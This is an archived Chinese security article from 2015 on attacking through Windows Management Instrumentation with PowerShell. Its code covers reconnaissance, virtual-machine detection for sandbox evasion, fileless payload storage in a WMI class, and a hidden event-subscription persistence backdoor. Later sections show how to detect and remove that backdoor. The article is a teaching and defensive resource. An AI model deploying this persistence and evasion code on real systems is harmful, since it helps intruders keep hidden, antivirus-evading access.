# WMI Attacks

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-08-24T02:19:00Z
Canonical: https://wepostx.com/topics/996

> 乌云历史资料归档
>
> **原始作者：** 三好学生
> **原始编号：** superkieran-wooyundrops:726
> **原始发布时间：** 2015-08-24 10:19
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

![原文图片](/media/2016/06/974fa49b59fa32bddc8b3bf2c91d8446)

Matt Graeber在Blackhat中介绍了如何使用WMI并展示其攻击效果，但细节有所保留，所以这一次具体介绍如何通过powershell来实现WMI attacks。

# 0x01 说明

WMI在内网渗透中最常见的是wmiexec 之前在http://drops.wooyun.org/tips/7358中有提到 因此Remote WMI不做重点介绍
参考链接： https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

# 0x02 测试环境

操作系统：win8 x32 powershell v3（win8默认安装） 开启Winmgmt服务，支持WMI

# 0x03 WMI attacks

注：以下代码均为powershell代码

### 1、侦查
操作系统相关信息

```text
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS
```
文件/目录列表

```text
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile
```
磁盘卷列表

```text
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume
```
注册表操作

```text
Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run Get-ItemProperty OptionalComponents
```
如图

![原文图片](/media/2016/06/314c0d9ef8be0fcda6adea7849e320ec)

当前进程

```text
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process
```
列举服务

```text
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service
```
日志

```text
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent
```
登陆账户

```text
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser
```
共享

```text
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share
```
补丁

```text
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering
```
杀毒软件

```text
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
```

### 2、虚拟机检测
（1）判断TotalPhysicalMemory和NumberOfLogicalProcessors

```text
$VMDetected = $False $Arguments = @{ Class = 'Win32_ComputerSystem' Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648' } if (Get-WmiObject @Arguments) { $VMDetected = $True "In vm" } else{ "Not in vm" }
```
（2）判断虚拟机进程

```text
$VMwareDetected = $False $VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE "%VMware%" OR Name LIKE "%VMware%"' $VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"' $VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"' if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True "in vm" } else { "not in vm" }
```

### 3、存储payload
【管理员权限】

```text
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null, $null) $StaticClass.Name = 'Win32_EvilClass' $StaticClass.Put() $StaticClass.Properties.Add('EvilProperty' , "This is payload") $StaticClass.Put()
```
如图

![原文图片](/media/2016/06/ca3067251df53c22888a76247a674775)

Tips：

```text
可加密存储于此位置，执行时解密运行，达到硬盘不存文件的效果
```

### 4、隐蔽定时启动程序
【管理员权限】

```text
$filterName = 'BotFilter82' $consumerName = 'BotConsumer23' $exePath = 'C:\Windows\System32\notepad.exe' $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name= $filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @ {Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath} Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter= $WMIEventFilter;Consumer=$WMIEventConsumer}
```
如图

![原文图片](/media/2016/06/fbf630476c054799aba7fadc5707a4d9)

每60s执行一次notepad.exe
Tips:

```text
之前在Stuxnet上面就使用了这个后门，通过mof实现 至今该后门方法...还有很多人在用 杀毒软件对此行为也不会查杀...
```

# 0x04 WMI后门检测及清除 ：

### 1、查看当前WMI Event
【管理员权限】

```text
#List Event Filters Get-WMIObject -Namespace root\Subscription -Class __EventFilter #List Event Consumers Get-WMIObject -Namespace root\Subscription -Class __EventConsumer #List Event Bindings Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
```
如图

![原文图片](/media/2016/06/3cd352333264f0ba16627e71f7724a9a)

### 2、清除后门
【管理员权限】

```text
#Filter Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose #Consumer Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose #Binding Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose
```
如图

![原文图片](/media/2016/06/955ce4a309f85f536f34119aab684116)

# 0x05 总结
实现wmi attacks的不止有powershell，比如

```text
– vbs – mof – C/C++ via IWbem* COM API – .NET System.Management classes
```
检测方法也有很多，比如查看日志

```text
– Microsoft-Windows-WinRM/Operational – Microsoft-Windows-WMI-Activity/Operational – Microsoft-Windows-DistributedCOM
```
甚至禁用Winmgmt服务从根本上阻止该方法的使用

更多wmi attacks的方法欢迎讨论。
本文由三好学生原创并首发于乌云drops，转载请注明

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